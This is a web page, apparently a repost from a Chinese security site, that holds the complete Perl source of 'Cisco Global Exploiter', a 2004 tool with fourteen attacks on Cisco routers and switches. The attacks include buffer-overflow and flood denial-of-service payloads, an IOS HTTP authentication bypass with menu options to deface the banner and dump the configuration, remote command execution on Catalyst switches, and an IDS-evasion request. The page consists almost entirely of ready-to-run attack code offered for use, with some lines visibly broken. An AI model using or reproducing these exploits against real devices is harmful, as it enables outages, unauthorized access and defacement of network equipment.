Multiple Cisco Exploit Codes

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Multiple Cisco Exploit Codes

来源：www.blackangels.it 作者：BlackAngels 发布时间：2004-04-23

Multiple Cisco Exploit Codes #!/usr/bin/perl ## # Cisco Global Exploiter # # Legal notes : # The BlackAngels staff refuse all responsabilities # for an incorrect or illegal use of this software # or for eventual damages to others systems. # # http://www.blackangels.it ## ## # Modules ## use Socket; use IO::Socket; ## # Main ## $host = ""; $expvuln = ""; $host = @ARGV[ 0 ]; $expvuln = @ARGV[ 1 ]; if ($host eq "") { usage(); } if ($expvuln eq "") { usage(); } if ($expvuln eq "1") { cisco1(); } elsif ($expvuln eq "2") { cisco2(); } elsif ($expvuln eq "3") { cisco3(); } elsif ($expvuln eq "4") { cisco4(); } elsif ($expvuln eq "5") { cisco5(); } elsif ($expvuln eq "6") { cisco6(); } elsif ($expvuln eq "7") { cisco7(); } elsif ($expvuln eq "8") { cisco8(); } elsif ($expvuln eq "9") { cisco9(); } elsif ($expvuln eq "10") { cisco10(); } elsif ($expvuln eq "11") { cisco11(); } elsif ($expvuln eq "12") { cisco12(); } elsif ($expvuln eq "13") { cisco13(); } elsif ($expvuln eq "14") { cisco14(); } else { printf "\nInvalid vulnerability number ...\n\n"; exit(1); } ## # Functions ## sub usage { printf "\nUsage :\n"; printf "perl cge.pl \n\n"; printf "Vulnerabilities list :\n"; printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n"; printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n"; printf "[3] - Cisco IOS HTTP Auth Vulnerability\n"; printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n"; printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n"; printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n"; printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n"; printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n"; printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n"; printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n"; printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n"; printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n"; printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n"; printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n"; exit(1); } sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability { my $serv = $host; my $dch = "?????????????????a~ %%%%%XX%%%%%"; my $num = 30000; my $string .= $dch x $num; my $shc="\015\012"; my $sockd = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $serv, PeerPort => "(23)", ) || die("No telnet server detected on $serv ...\n\n"); $sockd->autoflush(1); print $sockd "$string". $shc; while (<$sockd>){ print } print("\nPacket sent ...\n"); sleep(1); print("Now checking server's status ...\n"); sleep(2); my $sockd2 = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $serv, PeerPort => "(23)", ) || die("Vulnerability successful exploited. Target server is down ...\n\n"); print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n"); close($sockd2); exit(1); } sub cisco2 # Cisco IOS Router Denial of Service Vulnerability { my $serv = $host; my $sockd = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$serv, PeerPort=>"http(80)",); unless ($sockd){die "No http server detected on $serv ...\n\n"}; $sockd->autoflush(1); print $sockd "GET /\%\% HTTP/1.0\n\n"; -close $sockd; print "Packet sent ...\n"; sleep(1); print("Now checking server's status ...\n"); sleep(2); my $sockd2 = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$serv, PeerPort=>"http(80)",); unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"}; print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n"); close($sockd2); exit(1); } sub cisco3 # Cisco IOS HTTP Auth Vulnerability { my $serv= $host; my $n=16; my $port=80; my $target = inet_aton($serv); my $fg = 0; LAB: while ($n<100) { my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n"); $n++; foreach $line (@results){ $line=~ tr/A-Z/a-z/; if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;} if ($line =~ /http\/1\.0 200 ok/) {$fg=0;} } if ($fg==1) { sleep(2); print "Vulnerability unsuccessful exploited ...\n\n"; } else { sleep(2); print "\nVulnerability successful exploited with [http://$serv/level/$n/exec/....] ...\n\n"; last LAB; } sub exploit { my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Unable to initialize socket ...\n\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(){ push @in, $_;} select(STDOUT); close(S); return @in; } else { die("No http server detected on $serv ...\n\n"); } } } exit(1); } sub cisco4 # Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability { my $serv = $host; my $n = 16; while ($n <100) { exploit1("GET /level/$n/exec/- HTTP/1.0\n\n"); $wr =~ s/\n//g; if ($wr =~ /200 ok/) { while(1) { print "\nVulnerability could be successful exploited. Please choose a type of attack :\n"; print "[1] Banner change\n"; print "[2] List vty 0 4 acl info\n"; print "[3] Other\n"; print "Enter a valid option [ 1 - 2 - 3 ] : "; $vuln = ; chomp($vuln); if ($vuln == 1) { print "\nEnter deface line : "; $vuln = ; chomp($vuln); exploit1("GET /level/$n/exec/-/configure/-/banner/motd/$vuln HTTP/1.0\n\n"); } elsif ($vuln == 2) { exploit1("GET /level/$n/exec/show%20conf HTTP/1.0\n\n"); print "$wrf"; } elsif ($vuln == 3) { print "\nEnter attack URL : "; $vuln = ; chomp($vuln); exploit1("GET /$vuln HTTP/1.0\n\n"); print "$wrf"; } } } $wr = ""; $n++; } die "Vulnerability unsuccessful exploited ...\n\n"; sub exploit1 { my $sockd = IO::Socket::INET -> new ( Proto => 'tcp', PeerAddr => $serv, PeerPort => 80, Type => SOCK_STREAM, Timeout => 5); unless($sockd){die "No http server detected on $serv ...\n\n"} $sockd->autoflush(1); $sockd -> send($_[0]); while(<$sockd>){$wr .= $_} $wrf = $wr; close $sockd; } exit(1); } sub cisco5 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability { my $serv = $host; my $port = 22; my $vuln = "a%a%a%a%a%a%a%"; my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => $port, Proto => "tcp") || die "No ssh server detected on $serv ...\n\n"; print "Packet sent ...\n"; print $sockd "$vuln"; close($sockd); exit(1); } sub cisco6 # Cisco 675 Web Administration Denial of Service Vulnerability { my $serv = $host; my $port = 80; my $vuln = "GET ? HTTP/1.0\n\n"; my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => $port, Proto => "tcp") || die "No http server detected on $serv ...\n\n"; print "Packet sent ...\n"; print $sockd "$vuln"; sleep(2); print "\nServer response :\n\n"; close($sockd); exit(1); } sub cisco7 # Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability { my $serv = $host; my $port = 80; my $k = ""; print "Enter a file to read [ /show/config/cr set as default ] : "; $k = ; chomp ($k); if ($k eq "") {$vuln = "GET /exec/show/config/cr HTTP/1.0\n\n";} else {$vuln = "GET /exec$k HTTP/1.0\n\n";} my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => $port, Proto => "tcp") || die "No http server detected on $serv ...\n\n"; print "Packet sent ...\n"; print $sockd "$vuln"; sleep(2); print "\nServer response :\n\n"; while (<$sockd>){print} close($sockd); exit(1); } sub cisco8 # Cisco IOS Software HTTP Request Denial of Service Vulnerability { my $serv = $host; my $port = 80; my $vuln = "GET /error?/ HTTP/1.0\n\n"; my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => $port, Proto => "tcp") || die "No http server detected on $serv ...\n\n"; print "Packet sent ...\n"; print $sockd "$vuln"; sleep(2); print "\nServer response :\n\n"; while (<$sockd>){print} close($sockd); exit(1); } sub cisco9 # Cisco 514 UDP Flood Denial of Service Vulnerability { my $ip = $host; my $port = "514"; my $ports = ""; my $size = ""; my $i = ""; my $string = "%%%%%XX%%%%%"; print "Input packets size : "; $size = ; chomp($size); socket(SS, PF_INET, SOCK_DGRAM, 17); my $iaddr = inet_aton("$ip"); for ($i=0; $i<10000; $i++) { send(SS, $string, $size, sockaddr_in($port, $iaddr)); } printf "\nPackets sent ...\n"; sleep(2); printf "Please enter a server's open port : "; $ports = ; chomp $ports; printf "\nNow checking server status ...\n"; sleep(2); socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n"; my $dest = sockaddr_in ($ports, inet_aton($ip)); connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n"; printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n"; exit(1); } sub cisco10 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability { my $ip = $host; my $vln = "%%%%%XX%%%%%"; my $num = 30000; my $string .= $vln x $num; my $shc="\015\012"; my $sockd = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $ip, PeerPort => "(2002)", ) || die "Unable to connect to $ip:2002 ...\n\n"; $sockd->autoflush(1); print $sockd "$string" . $shc; while (<$sockd>){ print } print "Packet sent ...\n"; close($sockd); sleep(1); print("Now checking server's status ...\n"); sleep(2); my $sockd2 = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$ip, PeerPort=>"(2002)",); unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"}; print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n"); exit(1); } sub cisco11 # Cisco Catalyst Memory Leak Vulnerability { my $serv = $host; my $rep = ""; my $str = "AAA\n"; print "\nInput the number of repetitions : "; $rep = ; chomp $rep; my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => "(23)", Proto => "tcp") || die "No telnet server detected on $serv ...\n\n"; for ($k=0; $k<=$rep; $k++) { print $sockd "$str"; sleep(1); print $sockd "$str"; sleep(1); } close($sockd); print "Packet sent ...\n"; sleep(1); print("Now checking server's status ...\n"); sleep(2); my $sockd2 = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$serv, PeerPort=>"(23)",); unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"}; print "Vulnerability unsuccessful exploited. Target server is still up after $rep logins ...\\n"; close($sockd2); exit(1); } sub cisco12 # Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability { my $serv = $host; my $l =100; my $vuln = ""; my $long = "A" x $l; my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => "(80)", Proto => "tcp") || die "No http server detected on $serv ...\n\n"; for ($k=0; $k<=50; $k++) { my $vuln = "GET " . $long . " HTTP/1.0\n\n"; print $sockd "$vuln\n\n"; sleep(1); $l = $l + 100; } close($sockd); print "Packet sent ...\n"; sleep(1); print("Now checking server's status ...\n"); sleep(2); my $sockd2 = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$serv, PeerPort=>"http(80)",); unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"}; print "Target is not vulnerable. Server is still up after 5 kb of buffer ...)\n"; close($sockd2); exit(1); } sub cisco13 # %u Encoding IDS Bypass Vulnerability (UTF) { my $serv = $host; my $vuln = "GET %u002F HTTP/1.0\n\n"; my $sockd = IO::Socket::INET->new ( PeerAddr => $serv, PeerPort => "(80)", Proto => "tcp") || die "No http server detected on $serv ...\n\n"; print "Packet sent ...\n"; print $sockd "$vuln"; close($sockd); sleep(1); print("Now checking server's status ...\n"); print("Please verify if directory has been listed ...\n\n"); print("Server response :\n"); sleep(2); while (<$sockd>){ print } exit(1); } sub cisco14 # Cisco IOS HTTP server DoS Vulnerability { my $serv = $host; my $vuln = "GET /TEST?/ HTTP/1.0"; my $sockd = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$serv, PeerPort=>"http(80)",); unless ($sockd){die "No http server detected on $serv ...\n\n"}; print $sockd "$vuln\n\n"; print "Packet sent ...\n"; close($sockd); sleep(1); print("Now checking server's status ...\n"); sleep(2); my $sockd2 = IO::Socket::INET->new ( Proto=>"tcp", PeerAddr=>$serv, PeerPort=>"http(80)",); unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"}; print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n"); close($sockd2); exit(1); }

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